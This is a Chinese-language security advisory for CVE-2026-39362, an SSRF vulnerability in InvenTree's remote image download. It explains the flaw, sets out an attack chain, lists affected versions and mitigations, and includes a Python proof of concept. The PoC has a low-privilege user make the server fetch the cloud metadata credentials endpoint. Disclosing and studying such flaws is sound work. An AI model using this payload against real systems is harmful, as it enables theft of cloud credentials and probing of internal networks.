IPBUF安全漏洞报告
English
CVE-2026-39362 CVSS 7.1 高危

CVE-2026-39362 InvenTree服务器端请求伪造漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-39362
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
InvenTree

相关标签

SSRFInvenTree服务器端请求伪造信息泄露CVE-2026-39362

漏洞概述

InvenTree是一款开源库存管理系统。在受影响版本中,当开启INVENTREE_DOWNLOAD_FROM_URL选项时,低权限攻击者可通过remote_image参数提交恶意URL。由于服务端未对内网IP进行过滤且允许URL重定向,攻击者可利用此漏洞探测或攻击内网服务。

技术细节

该漏洞出现在InvenTree处理远程图片下载的功能中。当配置项`INVENTREE_DOWNLOAD_FROM_URL`被启用时,系统会接收用户提供的`remote_image`参数,并使用Python的`requests.get()`方法进行服务器端请求获取。虽然代码中使用了Django的`URLValidator`,但这仅能校验URL格式的合法性,无法有效识别或拦截指向内网(如127.0.0.1, 192.168.x.x等)或本地回环地址的请求。更为关键的是,请求配置了`allow_redirects=True`,这意味着攻击者可以利用重定向机制(例如通过短链接服务或恶意Web服务器)绕过简单的字符串黑名单检查。结合低权限用户即可触发的特性,攻击者可利用该漏洞对内网端口进行扫描、读取本地敏感文件(如file://协议,视具体实现而定)或探测云服务元数据,造成信息泄露。

攻击链分析

STEP 1
侦察与认证
攻击者发现目标InvenTree系统,并使用低权限账号完成登录认证。
STEP 2
构造恶意Payload
攻击者构造包含内网敏感地址(如127.0.0.1或元数据服务地址)的URL,并利用重定向技术绕过格式检查。
STEP 3
发送请求
攻击者向支持remote_image参数的API接口发送带有恶意URL的POST请求。
STEP 4
服务端请求
InvenTree服务器端接收到请求,解析URL并使用requests库向内网目标发起HTTP请求。
STEP 5
信息回显
内网服务响应请求,InvenTree服务器将部分响应数据(如图片内容或错误信息)返回给攻击者,导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target InvenTree instance URL target_host = "http://localhost:8000" login_url = f"{target_host}/api/auth/token/" upload_url = f"{target_host}/api/part/part/" # Example endpoint, adjust based on actual API # 1. Authenticate (Low privilege user) creds = {"username": "attacker", "password": "password"} session = requests.Session() auth_resp = session.post(login_url, data=creds) if auth_resp.status_code != 200: print("Login failed") exit(1) # 2. Exploit SSRF via remote_image # Attempting to access internal metadata service (AWS Example) ssrf_payload = { "remote_image": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "description": "SSRF Test" } response = session.post(upload_url, json=ssrf_payload) if response.status_code == 200 or response.status_code == 201: print("[+] Request sent successfully. Check if internal data was reflected.") print(response.text) else: print(f"[-] Exploit failed with status {response.status_code}")

影响范围

InvenTree < 1.2.7
InvenTree >= 1.3.0-beta, < 1.3.0

防御指南

临时缓解措施
建议立即将系统升级至修复版本。若暂时无法升级,应关闭远程URL下载功能以阻断攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表